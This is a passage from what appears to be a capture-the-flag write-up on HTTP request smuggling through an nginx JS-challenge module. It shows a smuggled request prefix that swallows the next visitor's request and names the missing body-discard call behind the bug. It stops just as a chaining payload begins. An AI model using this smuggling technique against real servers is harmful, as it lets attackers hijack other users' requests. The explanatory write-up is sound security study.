CRLFs are not sent) so the next request that nginx receives goes inside that request. 78 | 79 | That means that next request that the module handles is 80 | ``` 81 | GET /hack HTTP/1.1\r\n 82 | example: GET / HTTP/1.1\r\n 83 | Host: example.org\r\n 84 | Header: header\r\n 85 | \r\n 86 | ``` 87 | 88 | More details from the author: 89 | > The bug in the js_challange module is here: 90 | > 91 | > https://github.com/simon987/ngx_http_js_challenge_module/blob/master/ngx_http_js_challenge.c#L240 92 | > 93 | > there is a missing ngx_http_discard_request_body(r) 94 | > 95 | > So this module doesn't clean the request body 96 | > 97 | > It is only exploitable with specific nginx configuration (keepalive connection on proxy_pass) 98 | 99 | ## Third part - Chaining the bugs 100 | 101 | The following payload contains an infinite loop that keeps evaluating the `/last_nickname` endpoint response. 102 | 103 | ```html 104 |